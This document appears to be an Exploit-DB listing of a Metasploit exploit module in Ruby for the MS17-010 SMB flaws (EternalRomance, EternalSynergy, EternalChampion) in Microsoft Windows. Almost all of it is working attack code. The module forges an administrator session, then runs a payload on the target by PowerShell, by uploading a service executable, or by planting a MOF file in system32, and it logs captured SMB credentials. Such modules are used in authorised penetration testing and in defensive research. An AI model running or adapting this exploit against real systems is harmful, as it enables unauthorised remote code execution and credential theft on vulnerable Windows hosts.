Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
#  Local Security Settings >
#   Local Policies >
#    Security Options >
#     Network Access: Sharing and security model for local accounts

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',
      'Description'    => %q{
        This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
        primitive. This will then be used to overwrite the connection session information with as an
        Administrator session. From there, the normal psexec payload code execution is done.

        Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
        Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
        exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
        named pipe.
      },
      'Author'         =>
        [
          'sleepya',          # zzz_exploit idea and offsets
          'zerosum0x0',
          'Shadow Brokers',
          'Equation Group'
        ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'WfsDelay'     => 10,
          'EXITFUNC' => 'thread'
        },
      'References'     =>
        [
          [ 'AKA', 'ETERNALSYNERGY' ],
          [ 'AKA', 'ETERNALROMANCE' ],
          [ 'AKA', 'ETERNALCHAMPION' ],
          [ 'AKA', 'ETERNALBLUE'],  # does not use any CVE from Blue, but Search should show this, it is preferred
          [ 'MSB', 'MS17-010' ],
          [ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
          [ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
          [ 'CVE', '2017-0147'], # for EternalRomance reference
          [ 'URL', 'https://github.com/worawit/MS17-010' ],
          [ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
          [ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
        ],
      'Payload'        =>
        {
          'Space'        => 3072,
          'DisableNops'  => true
        },
      'Platform'       => 'win',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'PowerShell', { } ],
          [ 'Native upload', { } ],
          [ 'MOF upload', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 14 2017'
    ))

    register_options(
      [
        OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
      ])

    register_advanced_options(
      [
        OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
        OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
        OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
        OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
      ])
  end

  def exploit
    begin
      eternal_pwn(datastore['RHOST'])
      smb_pwn()

    rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
      print_error("#{e.message}")
    rescue ::Errno::ECONNRESET,
           ::Rex::Proto::SMB::Exceptions::LoginError,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionRefused  => e
      print_error("#{e.class}: #{e.message}")
    rescue => error
      print_error(error.class.to_s)
      print_error(error.message)
      print_error(error.backtrace.join("\n"))
    ensure
      eternal_cleanup()       # restore session
    end
  end

  def smb_pwn()
    case target.name
    when 'Automatic'
      if powershell_installed?
        print_status('Selecting PowerShell target')
        powershell
      else
        print_status('Selecting native target')
        native_upload
      end
    when 'PowerShell'
      powershell
    when 'Native upload'
      native_upload
    when 'MOF upload'
      mof_upload
    end

    handler
  end


  # TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to
  #       be moved into a mixin

  def powershell_installed?
    share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"

    case datastore['SHARE'].upcase
    when 'ADMIN$'
      path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    when 'C$'
      path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    else
      path = datastore['PSH_PATH']
    end

    simple.connect(share)

    vprint_status("Checking for #{path}")

    if smb_file_exist?(path)
      vprint_status('PowerShell found')
      psh = true
    else
      vprint_status('PowerShell not found')
      psh = false
    end

    simple.disconnect(share)

    psh
  end

  def powershell
    ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)

    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
    end

    # Execute the powershell command
    print_status("Executing the payload...")
    begin
      psexec(command)
    rescue StandardError => exec_command_error
      fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
    end
  end

  def native_upload
    filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
    servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
    serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''

    # Upload the shellcode to a file
    print_status("Uploading payload...")
    smbshare = datastore['SHARE']
    fileprefix = ""
    # if SHARE = Users/sasha/ or something like this
    if smbshare =~ /.[\\\/]/
      subfolder = true
      smbshare = datastore['SHARE'].dup
      smbshare = smbshare.gsub(/^[\\\/]/,"")
      folder_list = smbshare.split(/[\\\/]/)
      smbshare = folder_list[0]
      fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
    else
      subfolder = false
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      fd = smb_open("\\#{filename}", 'rwct')
    end
    exe = ''
    opts = { :servicename => servicename, :serviceencoder => serviceencoder}
    begin
      exe = generate_payload_exe_service(opts)

      fd << exe
    ensure
      fd.close
    end

    if subfolder
      print_status("Created \\#{fileprefix}\\#{filename}...")
    else
      print_status("Created \\#{filename}...")
    end

    # Disconnect from the share
    simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")

    # define the file location
    if datastore['SHARE'] == 'ADMIN$'
      file_location = "%SYSTEMROOT%\\#{filename}"
    elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
      file_location = datastore['SHARE'].slice(0,1) +  ":\\#{filename}"
    else
      file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
    end

    psexec(file_location, false)

    unless datastore['SERVICE_PERSIST']
      print_status("Deleting \\#{filename}...")
      #This is not really useful but will prevent double \\ on the wire :)
      if datastore['SHARE'] =~ /.[\\\/]/
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        begin
          simple.delete("\\#{fileprefix}\\#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
        end
      else
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        begin
          simple.delete("\\#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{filename} failed: #{e.message}")
        end
      end
    end
  end

  def mof_upload
    share = "\\\\#{datastore['RHOST']}\\ADMIN$"
    filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"

    # payload as exe
    print_status("Trying wbemexec...")
    print_status("Uploading Payload...")
    if datastore['SHARE'] != 'ADMIN$'
      print_error('Wbem will only work with ADMIN$ share')
      return
    end
    simple.connect(share)
    exe = generate_payload_exe
    fd = smb_open("\\system32\\#{filename}", 'rwct')
    fd << exe
    fd.close
    print_status("Created %SystemRoot%\\system32\\#{filename}")

    # mof to cause execution of above
    mofname = rand_text_alphanumeric(14) + ".MOF"
    mof = generate_mof(mofname, filename)
    print_status("Uploading MOF...")
    fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
    fd << mof
    fd.close
    print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

    # Disconnect from the ADMIN$
    simple.disconnect(share)
  end

  def report_auth
    service_data = {
        address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
        port: datastore['RPORT'],
        service_name: 'smb',
        protocol: 'tcp',
        workspace_id: myworkspace_id
    }

    credential_data = {
        origin_type: :service,
        module_fullname: self.fullname,
        private_data: datastore['SMBPass'],
        username: datastore['SMBUser'].downcase
    }

    if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
      credential_data.merge!({
        realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
        realm_value: datastore['SMBDomain']
       })
    end

    if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
      credential_data.merge!({:private_type => :ntlm_hash})
    else
      credential_data.merge!({:private_type => :password})
    end

    credential_data.merge!(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
        access_level: 'Admin',
        core: credential_core,
        last_attempted_at: DateTime.now,
        status: Metasploit::Model::Login::Status::SUCCESSFUL
    }

    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end